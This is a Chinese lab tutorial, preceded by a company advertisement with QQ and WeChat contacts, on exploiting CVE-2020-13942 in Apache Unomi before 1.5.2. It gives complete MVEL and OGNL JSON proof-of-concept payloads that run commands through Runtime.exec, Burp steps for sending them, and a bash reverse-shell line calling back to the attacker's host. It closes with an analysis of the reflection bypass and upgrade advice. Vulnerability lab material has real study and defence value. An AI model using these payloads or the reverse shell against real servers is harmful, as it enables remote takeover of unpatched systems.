QQ 1274510382
Wechat JNZ_aming
商业联盟 QQ群538250800
技术搞事 QQ群599020441
解决方案 QQ群152889761
加入我们 QQ群649347320
共享学习 QQ群674240731
纪年科技aming
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。
叮叮叮:产品已上线 —>关注 官方-微信公众号——济南纪年信息科技有限公司
民生项目:商城加盟/娱乐交友/创业商圈/外包兼职开发-项目发布/
安全项目:态势感知防御系统/内网巡查系统
云服项目:动态扩容云主机/域名/弹性存储-数据库-云盘/API-AIeverthing
产品咨询/服务售后(同)
纸上得来终觉浅,绝知此事要躬行 !!!
寻找志同道合伙伴创业中。。。抱团滴滴aming联系方式!!
#本文为广告系统自动投放广告
# 如有侵权 删改 请速速联系我们
Web安全
本科/专科信息安全专业
计算机网络、Linux、计算机基础
预备知识
Apache Unomi是一个Java开源客户数据平台,
旨在管理客户、潜在顾客和访问者的数据,并帮助个性化客户体验。
Unomi可用于不同的系统
(如CMS、CRM、问题跟踪器、本机移动应用程序等)中集成个性化和配置文件管理。
在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,
使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975。
而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,
攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。
目标机器: CentOS7、Apache Unomi<1.5.2
攻击机器:Kali
掌握Apache Unomi的远程代码执行漏洞的利用。
#1 探测目标是否存在漏洞
通过kali自带的浏览器访问http://your-ip:8181或https://your-ip:9443即可访问到Unomi的API
目标首页
判断是否存在漏洞,提供两种方式
1、通过MVEL表达式执行任意命令
访问目标首页,通过burp抓包后,
改为post请求同时将请求路径改为/context.json
同时需要将content-type类型改为application/json
Poc:
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"":"script::Runtime r = Runtime.getRuntime(); r.exec(\"ping dnslog\");"
},
"type":"profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
因为kali中自带的burp不是破解版,这里不使用dnslog来进行判断
Kali开启监听
同时将poc改为
可以看到kali接收到了请求
2、ONGl表达式执行命令
Poc:
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass =#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod =#runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj= #getruntimemethod.invoke(null,null)).(#execmethod =#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{?#this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{?#this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"pingdnslog\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
同样也是可以接收到请求的
#2 通过探查漏洞,获取目标权限
通过前面的学习已经可以去执行命令了,反弹shell需要通过编码
编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html
在kali执行监听
配合编码反弹shell
bash -i >& /dev/tcp/you_ip/port 0>&1
将加密后的反弹shell的命令填入burpsuite
漏洞分析
Apache Unomi<1.5.2可以在不调用loadClass()的情况下,
加载OGNL表达式中的类(classes inside OGNL expressions),最终导致了远程代码执行漏洞。
例子: 以下这个表达式利用"反射"(reflections)来使用已经存在的、现有的Runtime对象,而不会调用SecureFilteringClassLoader的loadClass()方法。
下面的表达式调用Runtime.getruntime()来得到Runtime对象,然后调用exec():
(#runtimeclass= #this.getClass().forName(“java.lang.Runtime”)).
(#runtimemethod= #runtimeclass.getDeclaredMethods().
{^#this.name.equals(“getRuntime”)}[0]).
(#runtimeobject= #runtimemethod.invoke(null,null)).
(#execmethod= #runtimeclass.getDeclaredMethods().
{?#this.name.equals(“exec”)}.
{?#this.getParameters()[0].getType().getName().equals(“java.lang.String”)}.
{?#this.getParameters().length < 2}[0]).
(#execmethod.invoke(#runtimeobject,“calc.exe”))
分析与思考
漏洞发现过程详见:
https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/?utm_source=dlvr.it&utm_medium=twitter
漏洞修复建议
-
升级到Apache Unomi 1.5.2及以上版本:http://unomi.apache.org/download.html
-
尽可能避免将数据放入表达式解释器中